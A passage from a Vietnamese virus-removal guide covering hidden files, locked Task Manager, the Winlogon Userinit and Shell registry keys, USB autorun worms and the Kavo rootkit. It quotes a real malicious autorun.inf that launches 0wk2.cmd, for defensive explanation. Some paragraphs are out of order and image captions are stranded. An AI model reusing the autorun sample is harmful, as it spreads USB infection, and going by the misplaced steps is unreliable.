Khắc phục: Mở cửa sổ Explorer ra, chuyển đến chỗ có chứa các file ẩn, bấm chuột phải
vào đâu đó trên vùng trống của cửa sổ Explorer. Tại menu bật ra, chọn New/Shortcut.
Một cửa sổ Creat Shortcut sẽ xuất hiện. Tại ô Type the location of the item, bạn copy
và dán dòng sau đây vào đó:
attrib.exe -s -r -h
Bấm Next. Tại ô Type a name for this shortcut, bạn đặt tên cho Shortcut, ví dụ như
showfile chẳng hạn. Bạn sẽ có một file shortcut có tên là Showfile.lnk.
Sau đó, bất cứ file hay folder nào bị đặt thuộc tính "không bình thường" (bị Read Only, bị
Hidden, bị System) bạn cứ kéo file hoặc folder đó thả vào biểu tượng của Shortcut
Showfile.
5. Bị khoá Task Manager
Triệu chứng: Bấm Ctrl-Alt-Del, chỉ thấy nhận được thông báo "Task Manager has
been disabled by your administrator".
Khắc phục: Chọn một trong hai cách sau:
Cách 1. Thay đổi Registry
Bấm Start > Run gõ vào Regedit:
Nếu registry bị khoá thì thực hiện theo phần 1 của bài viết này.
Nếu mục Run bị khoá thì thực hiện theo phần 6 của bài viết này.
Tìm đến khoá sau:
HKEY_CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\Policies \System
Tại cửa sổ bên phải, bạn sẽ thấy một giá trị REG-DWORD có tên "DisableTaskMgr"
Bạn click double để chỉnh sửa giá trị của nó như sau:
Value: 1= Cấm Task manager.
Value: 0= Mở khoá TaskManager.
Hoặc đơn giản là xoá đi, bạn sẽ mở được Task Manager.
Lúc này, bạn chỉ việc khởi động trên nền Dos (Bạn có thể khởi động bằng các đĩa Boot)
bạn chỉ việc copy tập tin userinit.exe gốc (Nếu thư mục hệ thống là C:\Windows thì tập
tin đó sẽ có đường dẫn là C:\windows\system32\userint.exe ).
Tuy nhiên, tôi sẽ không đi sâu vào cách này bởi vì trong thực tế người dùng rất ít khi để ý
đến giá trị của key này (Khi hệ thống có trục trặc, thì họ mới thường tìm cách biết nó là
gì).
Cách 2 :
Phục hồi key UserInit.exe ngay cả khi không biết giá trị của key UserInit.
Ðều này đồng nghĩa với việc bạn sẽ truy cập và chỉnh sửa registry ngay cả khi bạn chưa
cần vào hệ điều hành.
Để Boot bằng các đĩa CD cứu hộ này, bạn cần phải có nhất thiết lập nhất định để có thể
Boot bằng các đĩa này. Với các BIOS khác nhau thì có cấu trúc thiết lập khác nhau, nên
trong vấn đề này tôi sẽ không đi sâu mà chỉ tập trung các thao tác để cứu hộ sau khi đã
Boot thành công.
Bạn có thể sử dụng công cụ Avast!Registry Editor trong đĩa miniPE (Start ->
Programs -> Registry Tools -> Avast!Registry Editor), hay Remote (RunScaner)
trong đĩa XPE (Start -> All Programs -> RegEdit -> Remote (RunScaner) )
Việc truy cập và chỉnh sửa registry được thực hiện giống như trong Windows bình thường.
Bạn truy cập vào key HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\Userinit
và ghi giá trị sau C:\Windows\System32\userinit.exe (Với C:\Windows là thư mục cài
đặt hệ điều hành).
Ngoài ra, trong trường hợp xấu, tập tin userinit.exe không tồn tại hoặc đã bị virus sửa
đổi thành công. Bạn có thể vào thư mục i386\system32 của đĩa CD để tìm tập tin
userinit.exe rồi copy sang thư mục C:\Windows\system32\userinit.exe.
Khởi động máy tới màn hình Desktop thì dừng lại
Một số máy tính sau khi bị máy tính phá hoại, khi khởi động máy trở lại bình thường cho
đến màn hình Desktop thì dừng lại mà không xuất hiện các Icon, thanh Start...
Nếu hộp thoại Windows Task Manager không bị chặn lại
Để khắc phục lỗi này bạn nhấn tổ hợp phím Ctrl +Alt + Delete để gọi Windows Task
Manager.
Trong hộp thoại Windows Task Manager bạn chọn thẻ Applications. Bạn chọn New
Task... Hộp thoại Create New Task bạn nhập vào explorer.exe . Rồi ấn chọn OK.
Sau đó bạn vào registry và chỉnh sửa lại giá trị của key Shell trở về giá trị ban đầu trước
khi bị virus phá hoại.
Đường dẫn key : HKEY_LOCAL_MAHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\Shell
Gía trị mặc định : explorer.exe (Hay C:\Windows\explorer.exe)
Với C:\Windows là thư mục cài đặt hệ điều hành.
Nếu hộp thoại Windows Task Manager bị chặn lại
Lúc này bạn không thể sử dụng các công cụ như registry để soạn thảo.
Bạn có thể sử dụng các thao tác cứu hộ như đã thực hiện với key UserInit tôi đã trình bày
ở phía trên để phục hồi giá trị giá trị của key Shell như ban đầu.
Sau khi thực hiện xong bạn tiến hành khởi động lại máy tính.
V. Một số kỹ thuật khác
Để Internet Explorer an toàn hơn
Để tránh việc bị virus lây nhiễm qua những
đoạn mã VBScript bạn chỉ cần thực hiện các
thao tác thiết lập sau (Thao tác được tôi thực
hiện trên Internet Explorer 6) :
Trong cửa sổ làm việc của Internet Explorer
bạn chọn Tool -> Internet Options... ->
Chọn thẻ Security -> Chọn Internet ->
Default Level.
Bạn chú ý đến một thanh kéo sẽ xuất hiện,
nếu bạn chọn High có nghĩa là mức an ninh
cao nhất, điều này đồng nghĩa các tất cả ứng
dụng như các Script, các ActiveX hay Java hay
ngay cả việc download file... đều sẽ bị chặn.
Rõ ràng như vậy là quá bất tiện.
Theo tôi bản chỉ nên chọn mức Medium bấm
Apply rồi chọn Custom Level..., cửa sổ
Security Settings sẽ xuất hiện. Bạn kéo
xuống để thấy các tùy chọn về Scripting.
Để chặn việc chạy các Script bạn có thể chọn
Disable cho 2 mục Active scripting và
Allow paste operations via script.
Sau đó bạn chọn OK, và cuối cùng bạn bấm OK một lần nữa ( Trong cửa sổ Internet
Explorer).
Bây giờ bạn có thể thoải mái hơn khi truy cập các trang web với thiết lập vừa rồi.
Không cho virus lây qua Yahoo Messenger gửi thông điệp
Như đã phân tích ở phần trên, các virus lây truyền qua Yahoo Messenger liên tục giả lập
hang loạt thao tác của bàn phím để gửi thông điệp đến những nạn nhân tiếp theo. Để
ngăn chặn chúng gửi thông điệp của chúng, chúng ta sẽ sử dụng chính đặc điểm này của
chúng. Cụ thể ở đây, chúng ta sẽ vô hiệu hóa tính năng Enter dể gửi đi một thông điệp,
thay vào đó bạn bắt buộc phải ấn vào nút Send cho mỗi thông điệp gửi đi.
Làm như vậy, khi virus gửi thông điệp thì chỉ thực
hiện đến hết thao tác nhập thông điệp vào ô
nhập thông điệp rồi dừng lại mà thể gửi đi thông
điệp (Phím Enter của virus giả lập vẫn được thực
hiện, tuy nhiên lúc này phím Enter đó sẽ không
thể gửi thông điệp được).
Thông báo liên kết sạch Thông báo liên kết chứa mã độc
Nhận biết nhanh virus giả dạng thư mục
Một thủ thuật nhỏ sau đây sẽ giúp bạn an toàn hơn khi quản lý hệ thống với Windows
Explorer.
Để làm được điều này, bạn thiết lập như sau : Trong cửa sổ Windows Explorer đang làm
việc, bạn chọn : View -> Ấn chọn Status bar.
Bây giờ, chúng ta nhắc lại một chút về virus giả dạng thư mục. Chúng sẽ có icon giống thư
mục, nhưng bạn nên nhớ nó vẫn là 1 file. Chúng ta sẽ sử dụng sự khác nhau này để dễ
dàng nhận ra virus giả dạng thư mục.
Bạn hãy tập một thói quen nhỏ như thế này, mỗi khi định vào một thư mục nào đó, thay
vì bạn nháy đúp nhanh vào chúng bạn hãy chọn chúng mà thôi.
Bạn sẽ dễ dàng nhận ra điều sau :
- Nếu đối tượng bạn chưa chọn đối tượng nào thì thanh trạng thái (Status bar) bên dưới sẽ
hiển thị tổng số đối tượng của thư mục đó và tổng dung lượng của thư mục đó.
- Nếu bạn chọn một đối tượng là thư mục thì trong phần bên trái của thanh này sẽ hiện 1
objects và khung ngay bên cạnh nó sẽ không có giá trị nào.
- Nếu bạn chọn một đối tượng là tập tin thì trong phần bên trái khung trạng thái sẽ hiển
thị các thông tin về file ấy (Với file .exe thì sẽ hiển thị các thông tin : File version,
Company...) và ở ô ngay bên phải của ô này là dung lượng file.
Như vậy bạn có thể dễ dàng nhận ra và phân biệt được chúng.
Nhanh chóng chúng ta nhận ra rằng, chỉ cần chọn trước thư mục muốn vào, nếu thấy
thông số dung lượng xuất hiện thì chắc chắn đây là virus giả dạng thư mục.
Còn thư mục ban đầu đã ở đâu ? Nhiều khả năng chúng đã bị ẩn đi, đi khắc phục bạn đọc
phần phía trên có tên Phục hồi các thư mục ẩn.
Làm sao để diệt chúng ? Bạn hãy coi phần ngay bên dưới.
Ví dụ với nội dung file Autoruns.inf trong USB có giá trị như sau :
[Autorun]
OPEN=boot.pif
Thì file sẽ được USB khởi động khi Autorun (Ở đây tôi đang xét nó chính là virus) có đường
dẫn như sau : Tên đĩa USB:\boot.pif
Như vậy bạn chỉ cần vào thư mục gốc của USB và xóa file boot.pif là được.
Bạn nên để ý, phần lớn virus sẽ tự đặt chế độ ẩn (Hidden) và sẽ thiết lập lại máy bạn để
bạn không thể xem file ẩn với Windows Explorer. Bạn có thể xem phần Không hiển thị
được file ẩn ở phía trên để thiết lập lại việc xem các thư mục và tập tin ẩn, hoặc đơn giản
hơn là sử dụng các phần mềm quản lý file như : Total Commander, Norton
Commander hay Far Manager để có thể làm việc với các thư mục cũng như file ẩn.
2.Với virus đánh lừa người dùng qua biểu tượng
Các loại virus này sẽ có biểu tượng giống hình thư mục nên trong khi thao tác bạn thường
hay bị nhầm lẫn.
Tuy nhiên, đây lại chính là điểm mà bạn có thể tận dụng để diệt thủ công các loại virus
này trong USB. Tận dụng bằng cách tìm kiếm tất cả các tập tin thực thi trong đĩa USB có
biểu tượng là hình thư mục.
Bạn thực hiện theo các bước sau :
1. Trong Windows Explorer (Nếu bạn không biết Windows Explorer là gì thì bạn hãy mở
My Computer).
2. Trên thanh công cụ bạn chọn nút Search.
3. Xuất hiện 1 khung với câu hỏi : What do you want to search for ? . Bạn chọn All
files and folders .
4. Trong ô All or part of the file name bạn nhập vào giá trị “.exe or .scr” (Không có
dấu “).
Sở dĩ chúng ta phải tìm với cả 2 loại file .exe và .scr là vì không chỉ file .exe mới là file
thực thi có thể có biểu tượng hình thư mục mà cả file .scr cũng có thể có điều này.
Trong ô Look in : bạn chọn ổ đĩa USB.
5. Bạn bấm Search để tiến hành việc tìm kiếm.
Như bạn thấy trong hình, các loại tất cả các loại file .exe hay .scr đều được hiển thị, bằng
mắt bạn có thể nhận ra các virus và dễ dàng xóa chúng.
Một số virus cố tình ẩn các thư mục trong máy tính đi, thay vào đó là sự xuất hiện 1 bản
của chính virus đó và có tên trùng với thư mục kia. Điều này làm người dùng nhầm tưởng
file do virus tạo ra lại là thư mục mình muốn làm việc và kích hoạt virus làm việc. Với loại
virus này bạn cần áp dụng cách này và một phần ở trên là khắc phục Bị ẩn (hidden) file
và folder dữ liệu.
Nghịch Bkav
ProcessXP : Phần mềm cho phép quản lý các tiến trình đang chạy trong hệ thống. Không
chỉ là quản lý các tiến trình đơn giản như Task Manager, ProcessXP còn cho phép bạn dễ
dàng xem đường dẫn, icon, xem tiến trình theo kiểu cây...
Download : http://download.sysinternals.com/Files/ProcessExplorer.zip
Autoruns : Cũng là chương trình quản lý các chương trình khi khởi động như MSConfig
nhưng Autoruns liệt kê đầy đủ hơn rất nhiều. Ngoài ra cũng như ProcessXP, chương trình
liệt kê đầy đủ các thông tin như đường dẫn, hiển thị icon, báo lỗi khi khóa khởi động đó
không còn hợp lệ (File được khởi động ở khóa đó không còn tồn tại)...
Download : http://download.sysinternals.com/Files/Autoruns.zip
HijackThis : Chương trình cho phép liệt kê và phục hồi thông tin về các tiến trình, các
khóa khởi động và một số thông tin quan trọng khác. Việc này rất hiệu quả nếu bạn muốn
chia sẻ tình trạng máy mình cho người khác (Như trên các forum) để xác định tình trạng
của máy mà không cần phải tới trực tiếp máy đó.
Download : http://www.spywareinfo.com/~merijn/files/hijackthis.zip
SystemSnapShot : Là phần mềm tương tự HijackThis nhưng chỉ cho phép liêt kê và lưu
trữ các thông tin trên máy tính đó. Bù lại chương trình có liệt kê mã MD5 của một số file.
Việc này giúp việc xác định máy có tồn tại virus dễ dàng hơn rất nhiều.
Download : http://fasthelper.fire-lion.com/download/SystemSnapShot.zip
Dù việc quét virus trực tuyến là khả hữu dụng, tuy nhiên những công cụ trên không thể
giúp bạn bảo vệ hệ thống của thường trực với những nguy hiểm. Vì vậy việc cài một phần
mềm diệt virus tốt sẵn trong máy là điều bạn nên làm
Dùng Autoruns bạn sẽ nhận ra những sửa chửa tại 2 key Shell và UserInit (Đã nói ở
phần trên cuốn sách)
Tiêu diệt :
1. Tiêu diệt các tiến trình
Do các tiến trình của virus tự động bảo vệ lẫn nhau (Khi bạn tiêu diệt 1 trong 3 tiến trình
thì các tiến trình kia sẽ tự gọi lại tiến trình này), vì vậy việc tiêu diệt các tiến trình này
theo cách thông thường là tiêu diệt từng tiến trình là rất khó.
Chúng ta có thể dừng sự hoạt động của các tiến trình (Suspend) rồi tiến hành tiệu diệt
như bình thường.
Mở ProcessXP, chọn lần lượt các tiến trình của virus và Process -> Suspend (Hoặc ấn
chuột phải rồi chọn Suspend). Sau khi Suspend mỗi tiến trình thì chúng sẽ chuyển màu
để báo hiệu cho bạn biết là đã bị dừng (Mặc định sẽ là màu xám).
Cuối cùng bạn lần lượt tiêu diệt các tiến trình (Process -> Kill process, hoặc chuột phải
rồi chọn Kill process).
Với một số dạng virus tạo nhiều tiến trình cùng lúc, ngay cả việc bạn Suspend chúng cũng
không có tác dụng vì chúng tự nhận ra bị Suspend và tự phục hồi.
Với dạng virus này, cách duy nhất bạn làm là phải tiêu diệt gần như liên tục tất cả các tiến
trình do virus tạo ra.
Bạn có thể dùng Process Viewer để làm việc này.
Process Viewer : Là một phần mềm quản lý tiến trình hệ thống tốt, hỗ trợ các tính năng
gần như tương đồng ProcessXP. Ngoài ra còn hỗ trợ xem các chương trình khởi động cùng
hệ thống, diệt đồng thời nhiều tiến trình... Tuy nhiên, các tính năng về quản lý tiến trình
hệ thống thì phần mềm kém hơn ProcessXP.
Để diệt nhiều tiến trình cùng lúc, trong Process Viewer ta thực hiện như sau :
- Bạn giữ phím Ctrl và chọn các tiến trình muốn tiêu diệt (Giống như chọn cùng lúc nhiều
file hay thư mục với các chương trình quản lý file).
- Bạn chọn Process -> Kill (Hoặc nhấn chuột phải và chọn Kill)
- Hộp thoại Kill sẽ xuất hiện. Và bạn chọn Kill để hoàn thành việc tiêu diệt các tiến trình
đã chọn.
Kavo
Hình thức lây nhiễm :
- Qua USB (Tự tạo file autorun.inf trong đĩa USB để lây nhiễm).
Đặc điểm đáng chú ý :
- Sử dụng kỹ thuật Rootkit (Code inject).Nó tự inject thư viện kavo0.dll vào các tiến trình
đang hoặc động của hệ thống, vì vậy rất tiêu diệt.
- Ngoài việc sử dụng file autorun.inf để lây nhiễm qua đĩa USB, virus còn sử dụng file này
để kích hoạt mình khi đã nhiễm vào máy nạn nhân bằng cách tạo file này trong các ổ đĩa
của hệ thống. Nếu bạn truy cập vào các ổ đĩa này theo cách thông thường (Nháy đúp) thì
chắc chắn bạn sẽ kích hoạt virus.
- Hiện nay ở Việt Nam có một số biến thể của loại virus này, bản thân tôi, khi đang viết
cuốn sách này cũng gặp một biến thể mới của chúng. Trong phần này tôi sẽ tiến hành diệt
trên biến thể này.
Nhận dạng :
Dùng autoruns (Hay các chương trình quản lý chương trình khởi động cùng hệ thống
khác) sẽ nhận ra sự xuất hiện của một khóa tên là kava.
Do lỗi kỹ thuật của người lập trình ra virus nên khi máy bạn nhiễm virus này thì bạn
không thể đăng nhập vào Yahoo Messenger.
Khi ấn chuột phải vào các ổ đĩa của hệ thống, bạn sẽ nhận ra một tùy biến lạ (Trong biến
thể tôi đang đang thử nghiệm thì tùy biến lạ này không xuất hiện).
Virus sẽ inject thư viện kavo0.dll vào các tiến trình đang hoạt động. Để nhận ra bạn có
thể sử dụng một số chương trình có cho phép xem các thư viện mà tiến trình sử dụng khi
hoạt động (Tôi sử dụng phần mềm ProcessXP).
Tiêu diệt :
1. Tiêu diệt tiến trình
Cũng như các virus khác, việc đầu tiên bạn phải làm để tiêu diệt được virus này là bạn
phải dừng được hoạt động của virus. Tuy nhiên, virus không chạy dưới dạng một tiến trình
như các chương trình khác để bạn dễ dàng tiêu diệt nó.
Để dừng hoạt động của chúng bạn phải ngừng việc thư việc kavo0.dll inject trong các tiến
trình khác.
Việc dừng hoạt động của loại virus như các phương pháp hướng dẫn hiện nay trên các diễn
đàn tin học đã nói rất nhiều. Cách này đơn giản, hiệu quả tuy nhiên theo tôi nhận thấy thì
việc sử dụng rập khuôn chúng sẽ không giải quyết được những virus tương tự như phức
tạp hơn. Vì vậy tôi sẽ trình bày cả 2 cách tiêu diệt virus này.
Cách 1 :
Bạn có thể dùng MSConfig hay bất cứ chương trình quản lý khởi động nào để bỏ khóa
khởi động mang tên kava.
Ở đây tôi sẽ sử dụng Autoruns.
Sau đó khởi động lại máy tính.
Lúc này virus đã không còn hoạt động trên máy tính của bạn.
Cách 2 :
Bạn có thể nhận ra rằng, cách dừng tiến trình hoạt động của virus như trên là khá “may
rủi” vì nếu virus đó liên tục tiến hành ghi key trong registry thì việc làm của bạn như cách
1 chỉ là vô ích.
Inject thực chất là việc đưa một đoạn mã của chương trình thông qua thư viện liên kết
động (DLL) vào một tiến trình đang chạy. Việc này giúp che giấu hoạt động của chương
trình sử dụng inject.
Việc dừng hoạt động của virus lúc này chính là việc “bóc tách” thư viện này ra khỏi các
tiến trình.
Đâu tiên, tôi sử dụng ProcessXP để xác định các tiến trình bị thư viện kavo0.dll inject.
Như ở máy tôi, các tiến trình bị thư viện này inject là :
Explorer.exe
Unikey.exe
Wmplayer.exe
Winword.exe
Bạn nên chú ý phân biện việc inject này chỉ là sự nhiễm mã độc của virus trong bộ nhớ
(memory) của các tiến trình, chứ không phải là bản thân các file ấy bị nhiễm virus. Vì vậy,
với các file này chúng ta chỉ cần “bóc tách” thư viện kavo0.dll ra mà thôi chứ không xóa
chúng khỏi hệ thống.
Bước tiếp theo là bước “bóc tách” như tôi đã phân tích ở trên. Tôi đã thử một số phần
mềm quản lý tiến trình khác nhau thì chỉ mới nhận thấy phần mềm IceSword và công cụ
[FireLion] Process Manager (Nằm trong [FireLion] All Tools In One 1.0 đã nói ở
phần trên cuốn sách) có tính năng này.
Công cụ IceSword rõ ràng chuyên nghiệp và nhiều tính năng hơn, nó liệt kê nhiều thông
tin hơn về tiến trình. Tuy nhiên hoạt động chậm hơn [FireLion] Process Manager.
Sau đây là các bước để “bóc tách” thư viện kavo0.dll ra khỏi các tiến trình :
Với [FireLion] Process Manager :
Bạn lần lượt chọn các tiến trình đã xác định là bị inject, rồi nhìn trong khung hiển thị các
thư viện được sử dụng bên dưới để tìm thư viện kavo0.dll. Sau đó chọn thư viện
kavo0.dll và bấm nút Unload.
Với IceSword :
Khởi động IceSword, chọn thẻ Functions -> Process.
Bạn lần lượt ấn chuột phải chọn vào từng tiến trình mà bạn đã xác định bị inject để xuất
hiện menu tương ứng và chọn Module Information.
Hộp thoại Module Information sẽ xuất hiện. Bạn tìm đến giá trị chứa thư viện kavo0.dll
và chọn Unload.
Bạn chú ý :
- Thực hiện Unload thao tác này mà không bỏ sót tiến trình mà bạn đã xác định bị inject
nào.
- Đồng thời bạn cũng nên để ý là thư viện kavo0.dll có khả năng sẽ được đổi tên tùy từng
lúc của virus, cụ thể là khi diệt nó bằng IceSword thì thư viện này tên là kavo1.dll )
2. Tiêu diệt virus
Sau khi thực hiện xong bước 1. Virus đã dừng hoạt động, tuy nhiên như vậy không tức là
nó đã bị tiêu diệt, bạn còn cần thực hiện các thao tác sau.
Bạn thực hiện các thao tác để xóa các tập tin ẩn sau trong hệ thống :
C:\Windows\system32\kavo0.dll
C:\Windows\system32\kavo.exe
Để thực hiện việc xóa này, bạn làm các thao tác như đã trình bày ở phần trên của cuốn
sách này nhằm có thể hiển thị các tập tin, thư mục ẩn và xóa chúng. Tôi sử dụng Total
Commander để làm việc này.
Tháo tác tiếp theo là bạn truy cập vào từng đĩa cứng trong máy bạn để tìm file
autorun.inf. Bạn hãy đọc thông tin bên trong chúng (Bạn có thể dùng Notepad để làm
việc này). Ví dụ ở máy tôi, file này sẽ có nội dung như sau :
;0s3iJw2jnDS95koalksaCwsKdD4r95r
[AutoRun]
;3l43wisKlfp7i7
open=0wk2.cmd
;KscD2Kl0LDakdZrs8aj2XDwa4kkfo5Dr4Fe2sdmqdiIof0cqlwwDkaalaSJLKLJ34s
shell\open\Command=0wk2.cmd
;8iadi3iA4A2ika44wDL8jk41k3rr0LLfassLiDkf
shell\open\Default=1
;Sjl2r2lwai4L4wi1DD34o21e0KdKrk2aAd2ows0k9miwJ75kpKDk79S8flL23Ask5ksDK0Adia2
3Kf4a4da
shell\explore\Command=0wk2.cmd
;1sKAsf4jiliiwqlA3adlp3oldS5krwiqLowCac7eajdSK
Chúng ta dễ dàng nhận ra, file 0wk2.cmd sẽ được chạy khi bạn nháy đúp vào ổ đĩa tương
ứng chứa file autoruns.inf.
Vậy bây giờ bạn xóa file autoruns.inf và file 0wk2.cmd trong mỗi ổ đĩa trong máy
mình.
Sở dĩ tôi muốn bạn phải thực hiện thao tác động file autorun.inf là để bạn không bị rập
khuôn một cách cứng nhắc khi diệt virus. Thực ra với biến thể virus kavo cũ mà tôi gặp
thì nó sẽ tạo các file ntdelect.com trong mỗi phân vùng ổ cứng, nếu bạn rập khuôn một
cách cứng nhắc “công thức” diệt virus kavo là phải tìm và xóa file ntdelect.com như trên
thì đồng nghĩa với biến thể khác (Như biến thể tôi đang gặp) bạn sẽ không diệt được nó.
Chú ý : Trong suốt quá trình diệt virus, bạn không được phép truy cập dữ liệu trong các ổ
đĩa trong Windows Explorer bằng cách nháy đúp, thay vào đó bạn hãy sử dụng cách tôi
đã giới thiệu ở phần Tránh Autorun của USB. Hoặc một giải pháp an toàn là sử dụng các
chương trình quản lý file thay thế (Như Total Commander).
Tài liệu tham khảo :
1. www.wikipedia.com
2. www.quantrimang.com
3. www.virusvn.com
4. www.allapi.net
5. www.hvaonline.net
6. www.vnsecuity.com
7. www.pcworld.com.vn
8. www.download.com.vn